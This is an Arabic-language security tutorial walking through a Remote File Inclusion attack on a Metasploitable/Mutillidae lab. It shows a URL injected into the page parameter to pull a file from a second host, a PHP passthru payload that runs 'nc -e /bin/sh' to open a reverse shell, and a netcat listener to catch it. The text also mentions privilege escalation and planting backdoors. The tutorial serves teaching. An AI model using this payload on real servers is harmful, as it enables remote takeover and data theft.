Hacking Minions

شرح وتنفيذ هجمة RFI(Remote File Inclusion)

اليوم سنشرح هجمة RFI(Remote File Inclusion) والتي تعد النوع الثاني من هجمات الـFile inclusion، وكما وضحنا في شرح هجمة LFI طريقة عمل ومسببات هذه الثغرة، نبدأ الآن شرح هجمة الـRFI .

ما الفرق بين الثغرتين؟

الفرق بين الهجمتين واضح بمجرد فهم الإسم، فـLFI تعني Local File Inclusion بمعنى أنها محلية وينفذ فيها كل شي عن طريق السيرفر نفسه وداخله، بعكس RFI والتي تشير إلى Remote File Inclusion نلاحظ كلمة Remote وتدل الكلمة على أن ماسيتم فعله هو شيء خارج السيرفر.

تنفيذ هجمة RFI

لتنفيذ الهجمة عليك تجهيز التالي:

-web server والموجود في أنظمة اللينكس كما تعودنا استخدامه.

-سيرفر مستهدف، سنستخدم metasploitable في الشرح.

-ملف txt يحتوي على كود PHP أو javascript خبيث ينفذ ماتريد تنفيذه.

-إعداد السيرفر لكي تصبح فيه الثغرة.(سنشرحها في الخطوات الآن)

*لتهيئة وإعداد السيرفر لكي يصبح معرضاً للهجمة قم بالدخول إلى السيرفر من نفس الـVirtual Machine، ثم اذهب إلى المسار التالي: etc/php5/cgi

ثم أدخل الأمر التالي للتتعديل على الملف:

nano php.ini

ثم اضغط ctrl+w للبحث عن كلمة allow_url وسينقلنا إلى هذه السطور:

نقوم بتغيير الإعداد allow_url_include = Off

إلى On

وهنا تكمن المشكلة في ترك هذه الإعداد على On عند أغلب المبرمجين بدون أي حمايات فيصبح السيرفر معرضاً للهجمة.

ثم نضغط ctrl+x للخروج، سيسأل عن ما إذا كنت ترغب بحفظ التغييرات أو لا، نجيب بـY ثم enter مرة أخرى ونخرج من الملف.

بعد ذلك نعيد تشغيل سيرفر الأباتشي عن طريق الأمر:

sudo etc/init.d/apache2 restart

وننتظر إلى أن ينتهى من إعادة التشغيل.

نبدأ الهجمة:

أولاً نقوم بالدخول إلى أحد تطبيقات الـmetasploitable المتاحة، سأستخدم mutilidae أثناء الشرح.

ثم ندخل إلى الصفحة المعرضة لهجمات الـFile Include.

سيكون الرابط كالتالي: http://192.168.1.126/mutillidae/index.php?page=text-file-viewer.php

وبعكس ما شرحنا في موضوع ثغرة الـLFI، سنقوم هنا بمناداة الملف الخبيث من سيرفر آخر، ويتم ذلك بالطريقة التالية:

يكون الملف جاهزاً في السيرفر الآخر بشرط أن يكون كود خبيث ويحفظ بصيغة .txt وليس .php أو غيره لكي لا يتم تنفيذه في السيرفر المهاجم ويمكنك تجربة ذلك أثناء تطبيقك للهجمة.

نقوم بتغيير اسم الملف من “text-file-viewer.php” إلى “http://IP:PORT/filename”

في حالتي سيبدو الرابط المحقون كالتالي: http://192.168.1.113:8000/Desktop/shell.txt

لكن قبل أن نقوم بأي شيء سنقوم باستعراض الكود الذي سنحقنه لنفهم ما سيحدث بالتحديد

هذا هو الكود المستخدم:

<?
 passthru("nc -e /bin/sh IP PORT") 
?>

استخدمنا الخاصية passthru وهي خاصية متوفرة في لغة php وتقوم بتنفيذ أوامر النظام اعتماداً على نوعه سواءً كان ويندوز أو لينكس أو غيره، ثم وضعنا داخلها الأمر

nc -e /bin/sh IP PORT

والذي سيقوم بإرسال اتصال إلى الـIP المحدد عن طريق البورت المحدد في الأمر.

قبل أن نقوم بضغط enter في المتصفح وننفذ الهجمة يجب أن نقوم بفتح listener لنستطيع استقبال الإتصال الذي سيفتح عن طريق السيرفر المستهدف تنفيذاً للكود الخبيث الذي هاجمنا به.

-سنفتح تيرمنال جديد وندخل الأمر:

nc -lvp PORT

باستخدام رقم البورت المستخدم في الكود الخبيث الذي نفذنا به الهجمة.

نعود للمتصفح الآن وننفذ الهجمة وننتظر وصول الإتصال، عند وصوله نقوم بالتجول في السيرفر وفعل كل مانريد فعله من ترقية للصلاحيات واستعراض معلومات حساسة ورفع backdoors وكل ما نريد فعله سيكون متاحاً أمامنا.

استعرضنا في المقطع التوضيحي طريقة تنفيذ هجمة XSS عن طريق RFI.

——-انتهى الشرح——–

إذا كان هناك أي خطوة لم تتضح معك فيمكنك مشاهدة الشرح التطبيقي في المقطع التالي:

إذا كان لديك أي سؤال فقم بكتابته في تعليقات الموضوع بالأسفل وسنقوم بالرد في أسرع وقت ممكن.

تذكير :
كل ما يقدمه Hacking Minions هو لأسباب تعليمية فقط ونحن غير مسؤولون أبداً عن أي استخدام غير قانوني لأي محتوى يتم نشره.

اترك تعليقا